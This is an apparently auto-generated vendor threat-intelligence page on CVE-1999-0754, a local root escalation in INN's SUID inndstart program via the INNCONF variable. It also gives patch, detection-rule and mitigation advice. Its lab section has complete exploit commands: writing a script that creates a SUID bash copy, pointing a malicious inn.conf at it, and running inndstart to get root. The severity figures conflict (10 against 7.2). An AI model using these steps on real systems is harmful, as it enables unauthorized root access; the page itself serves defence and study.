☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Isc logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 10 🐛 CWE-427
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-1999-0754

This report details a critical local privilege escalation vulnerability, CVE-1999-0754, in the ISC InterNetNews (INN) server, affecting all versions prior to 2.
📅 PUBLISHED: 1999-05-11 04:00 UTC 🔄 UPDATED: 2026-08-21 19:21 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: Upgrade to INN version 2.2.1 or later
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.74%
👁️
0.74% probability
18.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1068
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Affected: &lt; 2.2.1 — upgrade to patched release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
10.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

This report details a critical local privilege escalation vulnerability, CVE-1999-0754, in the ISC InterNetNews (INN) server, affecting all versions prior to 2.2.1. The vulnerability stems from the inndstart program, a component of INN that is often configured with SUID root permissions. This program insecurely trusts the INNCONF environment variable, which can be set by any local user.

An authenticated local attacker can exploit this flaw by setting the INNCONF variable to point to a malicious configuration file. When inndstart is executed, it reads this file with root privileges, leading to arbitrary code execution and a full system compromise. The impact is a complete loss of confidentiality, integrity, and availability, as the attacker can gain persistent root access.

A patch for this vulnerability has been available for over two decades. All organizations using INN must immediately verify their version and upgrade to 2.2.1 or newer to eliminate this risk. Continued use of vulnerable versions presents an unacceptable security posture.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS v2.0 Score: 7.2 (High)

  • Vector: CVSS:2.0/AV:L/AC:L/Au:N/C:C/I:C/A:C

  • Attack Vector: Local (L): The attacker must have an account on the target system. This vulnerability cannot be exploited remotely without a separate entry vector.

  • Attack Complexity: Low (L): The exploitation process is straightforward, requiring only the creation of two small files and setting an environment variable.

  • Authentication: None (N): This refers to authentication for the exploit itself. The attacker must be authenticated to the system, but no further credentials are needed to trigger the flaw.

  • Confidentiality: Complete (C): The attacker can read any file on the system, including sensitive data and credentials.

  • Integrity: Complete (C): The attacker can modify any file, install backdoors, and alter system logs.

  • Availability: Complete (C): The attacker can cause a total denial of service by shutting down the system or deleting critical files.

Threat Analysis: While the official CVSS score is 7.2 (High) due to the local attack vector, the outcome is a full system compromise. In any multi-user environment (e.g., university servers, shared web hosts, corporate development machines), this vulnerability should be treated as Critical. Any low-privilege account, including those for services like www-data if compromised, can be used to escalate to root. The original 10.0 score provided likely reflects this maximum impact, despite the local prerequisite.

Deep Dive & Mechanics

The vulnerability exists at the intersection of a privileged program and an uncontrolled environment variable.

  1. Privileged Program (inndstart): The inndstart binary is a utility used to start the main INN daemon, innd. To perform necessary startup tasks, such as binding to the privileged NNTP port (119), it is commonly installed as SUID root. This means that when any user executes inndstart, it runs with the permissions of its owner, which is the root user.

  2. Uncontrolled Environment Variable (INNCONF): INN allows administrators to specify an alternative path for its main configuration file, inn.conf, via the INNCONF environment variable. This is intended for testing or development purposes.

  3. The Flaw: The vulnerable version of inndstart does not sanitize its environment when run as root. It reads the INNCONF variable from the user's environment and, if set, uses that path to load its configuration.

An attacker leverages this by:

  • Creating a custom, malicious inn.conf file in a world-writable directory like /tmp.
  • This malicious file contains directives that cause inndstart to execute a command. For instance, the complaints parameter in inn.conf can specify a program to be run to handle complaint emails. An attacker can set this to a shell script they control.
  • The attacker sets the INNCONF environment variable to point to their malicious file.
  • The attacker executes inndstart.
  • inndstart, running as root, reads the INNCONF variable, opens the attacker's configuration file, and executes the specified command, granting the attacker root-level code execution.

Vulnerable vs. Patched Code

The logical flaw is simple and the patch is equally straightforward. The vulnerability lies in the program's failure to distrust user-supplied environment variables when operating with elevated privileges.

Vulnerable Logic (Conceptual)

The original code follows a simple, trusting logic.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Pseudocode representing the vulnerable logic
void load_configuration() {
    char* config_path;

    // The program directly trusts the user's environment variable
    config_path = getenv("INNCONF");

    if (config_path == NULL) {
        config_path = "/etc/news/inn.conf"; // Default path
    }

    // This function will now parse the attacker-controlled file if INNCONF is set
    printf("Loading configuration from: %s\n", config_path);
    // ... parse config and potentially execute commands ...
}

int main() {
    printf("Effective UID: %d\n", geteuid());
    load_configuration();
    return 0;
}

Patched Logic (Conceptual)

The patch introduces a critical security check. If the program is running with an effective UID of 0 (root), it programmatically unsets the INNCONF environment variable, forcing the program to use the safe, default configuration file.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Pseudocode representing the patched logic
void load_configuration() {
    char* config_path;

    // If running as root, distrust the environment
    if (geteuid() == 0) {
        unsetenv("INNCONF"); // CRITICAL FIX: Sanitize the environment
    }

    // Now, getenv("INNCONF") will return NULL if the program was run as root
    config_path = getenv("INNCONF");

    if (config_path == NULL) {
        config_path = "/etc/news/inn.conf"; // Safe default path is used
    }

    // This function will now always parse the default file when run as root
    printf("Loading configuration from: %s\n", config_path);
    // ... parse config ...
}

int main() {
    printf("Effective UID: %d\n", geteuid());
    load_configuration();
    return 0;
}

Exploitation & Lab Setup

This section describes the steps to reproduce the exploit on a vulnerable system.

Prerequisites:

  • A Linux system with a vulnerable version of INN installed (e.g., INN < 2.2.1).
  • The inndstart binary must be SUID root. Find it with find / -name inndstart -perm -4000 2>/dev/null.
  • Local, unprivileged shell access.

Step-by-Step Exploitation

  1. Create an exploit script. This script will be executed as root. It copies the system shell, makes it SUID, and grants the attacker a persistent root shell.

    # As the unprivileged user
    cat << EOF > /tmp/rootme.sh
    #!/bin/sh
    cp /bin/bash /tmp/rootshell
    chmod 4755 /tmp/rootshell
    EOF
    
    chmod +x /tmp/rootme.sh
    
  2. Create the malicious inn.conf file. This file uses the complaints directive to point to our exploit script. The pipe symbol | tells INN to execute the command.

    # As the unprivileged user
    echo "complaints: \"|/tmp/rootme.sh\"" > /tmp/malicious.conf
    
  3. Set the INNCONF environment variable. Point it to the malicious configuration file.

    export INNCONF=/tmp/malicious.conf
    
  4. Execute inndstart to trigger the vulnerability.

    # The path may vary depending on the installation
    /usr/lib/news/bin/inndstart
    
  5. Verify and use the root shell. The inndstart program, running as root, will have executed /tmp/rootme.sh. This creates a new SUID shell in /tmp.

    # Check for the newly created SUID binary
    ls -l /tmp/rootshell
    
    # Expected output:
    # -rwsr-xr-x 1 root root 1183448 May 20 10:30 /tmp/rootshell
    
    # Execute the new shell to gain root privileges
    /tmp/rootshell -p
    
    # You are now root
    whoami
    # root
    id
    # uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
    

Detection Engineering

A high-fidelity detection can be created by monitoring for the execution of inndstart by a non-root user where the INNCONF environment variable is also set.

Sigma Rule

This rule detects the exact conditions of the exploit attempt.

title: Local Privilege Escalation via INN inndstart INNCONF Variable
id: 5a8e0f5c-8d1b-4c7b-a4e9-923f07a51d9e
status: stable
description: >
    Detects an attempt to exploit CVE-1999-0754, where a local user executes the SUID binary 'inndstart'
    while the 'INNCONF' environment variable is set. This is a strong indicator of a privilege escalation attempt.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-1999-0754
author: Valters IT
date: 2023/10/27
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/inndstart'
        User|ne: 'root'
    filter:
        Environment|contains: 'INNCONF='
    condition: selection and filter
falsepositives:
    - Extremely rare. Legitimate use by an unprivileged user for testing is possible but highly unlikely in a production environment.
level: high
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.1999.0754

Remediation & Mitigation

The only acceptable and definitive remediation for this vulnerability is to apply the official patch by upgrading the INN package.

Primary Remediation: Patch Immediately

  1. Check your INN version:

    # Path to innd may vary
    /usr/sbin/innd -v
    

    If the version is less than 2.2.1, your system is vulnerable.

  2. Upgrade using your system's package manager:

    • For Debian/Ubuntu systems:
      sudo apt-get update
      sudo apt-get install inn2
      
    • For Red Hat/CentOS systems:
      sudo yum update inn
      # or
      sudo dnf update inn
      

Mitigation Strategies (If patching is absolutely impossible)

If immediate patching is not feasible, the following measures can reduce risk but are not substitutes for upgrading.

  1. Remove the SUID bit: This is the most effective mitigation. It prevents the binary from running with root privileges, completely neutralizing the privilege escalation vector. The service may need to be reconfigured to run as a non-root user or started by root at boot.

    sudo chmod u-s /path/to/inndstart
    
  2. Restrict Execution: Use standard file permissions to prevent non-administrative users from executing inndstart.

    # Example: Allow only users in the 'news' group to execute
    sudo chown root:news /path/to/inndstart
    sudo chmod 750 /path/to/inndstart
    
  3. System Auditing: Regularly scan all systems for vulnerable versions of INN and for SUID binaries in unexpected locations.

[!] This Threat Intelligence report was automatically generated by Valters IT (valtersit.com) Neural Engine.

{/* [Security Hash: D6AAEB4734F8C04971AADF31] */}

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

port:119 product:\
port:119 \

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-1999-0754/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.